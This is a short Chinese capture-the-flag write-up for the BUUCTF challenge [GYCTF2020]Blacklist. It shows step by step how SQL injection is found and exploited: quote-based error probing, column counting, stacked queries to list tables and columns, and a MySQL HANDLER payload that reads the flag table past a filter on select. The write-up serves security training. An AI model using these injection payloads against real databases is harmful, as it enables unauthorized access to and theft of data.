buuctf-[GYCTF2020]Blacklist

这题我一开始还以为是rce,但是看到注入框内写了1,那就肯定是sql

提交1

1' 报错,更加确定是sql

 1' order by 2 -- +

说明是两列

1' union select 1,#

发现select被过滤了

这里我想起了之前做的强网杯的随便住,也是被过滤了,然后使用的堆叠注入

1';show tables -- +

 1'; show columns from FlagHere; -- +

获得列名

后面不晓得了,才知道有handler语句

参考【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

HANDLER可以通过指定的索引去访问数据。但此语法并不支持DML操作。

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

也就是通过HANDLERFlagHere表中,读取第一个索引记录,然后关闭

猜你喜欢

转载自blog.csdn.net/2202_75317918/article/details/133495719
今日推荐